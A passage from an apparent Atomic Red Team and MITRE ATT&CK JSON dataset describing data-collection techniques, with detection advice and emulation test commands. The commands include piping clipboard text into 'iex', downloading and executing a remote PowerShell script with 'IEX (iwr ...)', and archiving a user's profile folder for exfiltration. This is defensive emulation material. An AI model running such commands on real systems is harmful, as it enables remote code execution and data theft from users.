- "command": "sc query type=service > %TEMP%\\T1119_1.txt\ndoskey /history > %TEMP%\\T1119_2.txt\nwmic process list > %TEMP%\\T1119_3.txt\ntree C:\\AtomicRedTeam\\atomics > %TEMP%\\T1119_4.txt\n",
- "cleanup_command": "del %TEMP%\\T1119_1.txt >nul 2>&1\ndel %TEMP%\\T1119_2.txt >nul 2>&1\ndel %TEMP%\\T1119_3.txt >nul 2>&1\ndel %TEMP%\\T1119_4.txt >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1115": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:25.967Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1115",
- "url": "https://attack.mitre.org/techniques/T1115"
- },
- {
- "external_id": "CAPEC-637",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/637.html"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/ms649012",
- "description": "Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.",
- "source_name": "MSDN Clipboard"
- },
- {
- "url": "https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363",
- "description": "rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.",
- "source_name": "Operating with EmPyre"
- }
- ],
- "modified": "2020-04-23T18:35:58.230Z",
- "name": "Clipboard Data",
- "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nIn Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, pbpaste
, to grab clipboard contents.(Citation: Operating with EmPyre)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: OS API Execution"
- ],
- "identifier": "T1115"
- },
- "atomic_tests": [
- {
- "name": "Utilize Clipboard to store or execute commands from",
- "auto_generated_guid": "0cd14633-58d4-4422-9ede-daa2c9474ae7",
- "description": "Add data to clipboard to copy off or execute commands from.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "dir | clip\necho \"T1115\" > %temp%\\T1115.txt\nclip < %temp%\\T1115.txt\n",
- "cleanup_command": "del %temp%\\T1115.txt >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Execute Commands from Clipboard using PowerShell",
- "auto_generated_guid": "d6dc21af-bec9-4152-be86-326b6babd416",
- "description": "Utilize PowerShell to echo a command to clipboard and execute it\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "echo Get-Process | clip\nGet-Clipboard | iex\n",
- "name": "powershell"
- }
- },
- {
- "name": "Collect Clipboard Data via VBA",
- "auto_generated_guid": "9c8d5a72-9c98-48d3-b9bf-da2cc43bdf52",
- "description": "This module copies the data stored in the user's clipboard and writes it to a file, $env:TEMP\\atomic_T1115_clipboard_data.txt\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ms_product": {
- "description": "Maldoc application Word",
- "type": "string",
- "default": "Word"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft #{ms_product} must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nSet-Clipboard -value \"Atomic T1115 Test, grab data from clipboard via VBA\"\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1115\\src\\T1115-macrocode.txt\" -officeProduct \"Word\" -sub \"GetClipboard\"\n",
- "cleanup_command": "Remove-Item \"$env:TEMP\\atomic_T1115_clipboard_data.txt\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1530": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Netskope",
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7",
- "type": "attack-pattern",
- "created": "2019-08-30T18:07:27.741Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "external_id": "T1530",
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1530"
- },
- {
- "source_name": "Amazon S3 Security, 2019",
- "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/",
- "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019."
- },
- {
- "source_name": "Microsoft Azure Storage Security, 2019",
- "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide",
- "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019."
- },
- {
- "source_name": "Google Cloud Storage Best Practices, 2019",
- "url": "https://cloud.google.com/storage/docs/best-practices",
- "description": "Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019."
- },
- {
- "source_name": "Trend Micro S3 Exposed PII, 2017",
- "url": "https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia",
- "description": "Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019."
- },
- {
- "source_name": "Wired Magecart S3 Buckets, 2019",
- "url": "https://www.wired.com/story/magecart-amazon-cloud-hacks/",
- "description": "Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains\u2014and Counting. Retrieved October 4, 2019."
- },
- {
- "source_name": "HIPAA Journal S3 Breach, 2017",
- "url": "https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/",
- "description": "HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019."
- }
- ],
- "modified": "2021-03-08T10:33:01.374Z",
- "name": "Data from Cloud Storage Object",
- "description": "Adversaries may access data objects from improperly secured cloud storage.\n\nMany cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)\n\nMisconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Cloud Storage: Cloud Storage Access"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1530"
- },
- "atomic_tests": []
- },
- "T1074.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "IaaS",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0",
- "type": "attack-pattern",
- "created": "2020-03-13T21:14:58.206Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1074.002",
- "url": "https://attack.mitre.org/techniques/T1074/002"
- },
- {
- "source_name": "Mandiant M-Trends 2020",
- "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
- "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
- }
- ],
- "modified": "2021-03-08T10:33:02.019Z",
- "name": "Remote Data Staging",
- "description": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Access",
- "File: File Creation"
- ]
- },
- "atomic_tests": []
- },
- "T1005": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "William Cain",
- "Austin Clark, @c2defense"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
- "created": "2017-05-31T21:30:20.537Z",
- "x_mitre_version": "1.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1005",
- "url": "https://attack.mitre.org/techniques/T1005"
- },
- {
- "source_name": "Mandiant APT41 Global Intrusion ",
- "url": "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits",
- "description": "Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022."
- },
- {
- "source_name": "US-CERT-TA18-106A",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
- "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information. Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n",
- "modified": "2022-05-20T17:34:15.405Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Data from Local System",
- "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "Script: Script Execution",
- "File: File Access",
- "Process: OS API Execution"
- ],
- "x_mitre_system_requirements": [
- "Privileges to access certain files and directories"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1560.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
- "type": "attack-pattern",
- "created": "2020-02-20T21:08:52.529Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1560.002",
- "url": "https://attack.mitre.org/techniques/T1560/002"
- },
- {
- "source_name": "PyPI RAR",
- "url": "https://pypi.org/project/rarfile/",
- "description": "mkz. (2020). rarfile 3.1. Retrieved February 20, 2020."
- },
- {
- "source_name": "libzip",
- "url": "https://libzip.org/",
- "description": "D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020."
- },
- {
- "source_name": "Zlib Github",
- "url": "https://github.com/madler/zlib",
- "description": "madler. (2017). zlib. Retrieved February 20, 2020."
- },
- {
- "url": "https://en.wikipedia.org/wiki/List_of_file_signatures",
- "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
- "source_name": "Wikipedia File Header Signatures"
- }
- ],
- "modified": "2020-03-29T18:27:30.891Z",
- "name": "Archive Collected Data: Archive via Library",
- "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "Script: Script Execution"
- ],
- "identifier": "T1560.002"
- },
- "atomic_tests": []
- },
- "T1602.002": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd",
- "type": "attack-pattern",
- "created": "2020-10-20T00:08:21.745Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1602.002",
- "url": "https://attack.mitre.org/techniques/T1602/002"
- },
- {
- "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
- "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A",
- "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- },
- {
- "source_name": "US-CERT TA18-068A 2018",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A",
- "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."
- }
- ],
- "modified": "2022-02-17T19:50:46.948Z",
- "name": "Network Device Configuration Dump",
- "description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration.(Citation: US-CERT TA18-068A 2018)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1560": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
- "type": "attack-pattern",
- "created": "2020-02-20T20:53:45.725Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1560",
- "url": "https://attack.mitre.org/techniques/T1560"
- },
- {
- "url": "https://en.wikipedia.org/wiki/List_of_file_signatures",
- "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
- "source_name": "Wikipedia File Header Signatures"
- }
- ],
- "modified": "2022-01-04T18:44:10.398Z",
- "name": "Archive Collected Data",
- "description": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Script: Script Execution",
- "Command: Command Execution",
- "File: File Creation"
- ],
- "identifier": "T1560"
- },
- "atomic_tests": [
- {
- "name": "Compress Data for Exfiltration With PowerShell",
- "auto_generated_guid": "41410c60-614d-4b9d-b66e-b0192dd9c597",
- "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration.\nWhen the test completes you should find the files from the $env:USERPROFILE directory compressed in a file called T1560-data-ps.zip in the $env:USERPROFILE directory \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_file": {
- "description": "Path that should be compressed into our output file",
- "type": "path",
- "default": "$env:USERPROFILE"
- },
- "output_file": {
- "description": "Path where resulting compressed data should be placed",
- "type": "path",
- "default": "$env:USERPROFILE\\T1560-data-ps.zip"
- }
- },
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}\n",
- "cleanup_command": "Remove-Item -path #{output_file} -ErrorAction Ignore"
- }
- }
- ]
- },
- "T1185": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Justin Warner, ICEBRG"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1185",
- "external_id": "T1185"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Man-in-the-browser",
- "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.",
- "source_name": "Wikipedia Man in the Browser"
- },
- {
- "url": "https://www.cobaltstrike.com/help-browser-pivoting",
- "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.",
- "source_name": "Cobalt Strike Browser Pivot"
- },
- {
- "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses",
- "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
- "source_name": "ICEBRG Chrome Extensions"
- },
- {
- "url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf",
- "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
- "source_name": "cobaltstrike manual"
- }
- ],
- "modified": "2022-02-25T18:58:15.229Z",
- "name": "Browser Session Hijacking",
- "description": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege
and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.",
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Access",
- "Process: Process Modification",
- "Logon Session: Logon Session Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1557.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Alex Spivakovsky, Pentera"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5",
- "created": "2022-03-24T19:30:56.727Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1557.003",
- "url": "https://attack.mitre.org/techniques/T1557/003"
- },
- {
- "source_name": "rfc2131",
- "url": "https://datatracker.ietf.org/doc/html/rfc2131",
- "description": "Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022."
- },
- {
- "source_name": "new_rogue_DHCP_serv_malware",
- "url": "https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/",
- "description": "Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022."
- },
- {
- "source_name": "dhcp_serv_op_events",
- "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)",
- "description": "Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022."
- },
- {
- "source_name": "solution_monitor_dhcp_scopes",
- "url": "https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/",
- "description": "Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved March 7, 2022."
- },
- {
- "source_name": "w32.tidserv.g",
- "url": "https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2",
- "description": "Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized 